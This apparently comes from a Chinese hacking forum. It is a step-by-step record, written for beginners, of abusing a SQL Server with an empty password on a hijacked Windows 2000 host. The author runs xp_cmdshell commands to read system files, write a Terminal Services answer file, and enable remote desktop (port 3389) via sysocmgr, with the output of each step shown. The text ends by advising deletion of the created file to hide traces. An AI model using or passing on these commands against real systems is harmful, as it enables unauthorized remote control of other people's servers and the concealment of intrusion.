把一次从SQL开3389的记录过程发出来,望对新手有用
注://为注释 实例过程: 连接到主机:202.xxx.xxx.xxx //大家可以用sql连接器连上有空口令的sql肉机 命令:xp_cmdshell "type c:\boot.ini" // 输入命令,看系统,server版的才能 开3389 执行成功,结果: [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINNT [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server" /fastdetect multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server" /fastdetect
命令:xp_cmdshell "echo [Components] > c:\duguxike" //在c盘根目录建写入一个文件,文件名duguxike大家可以自己改为自己的 执行成功,结果:
命令:xp_cmdshell "echo TsEnable = on >> c:\duguxike" //追加写入 执行成功,结果:
命令:xp_cmdshell "type c:\duguxike" //看看duguxike里的内容是否正确 执行成功,结果: [Components] TsEnable = on TsEnable = on
命令:xp_cmdshell "sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\duguxike /q" //开3389,成功的话过会肉机会重启!! 执行成功,结果: GetLocalManagedApplications returned (2)
之后就看大家的了,不过要记得册除新建的duguxike文件哦!!!
|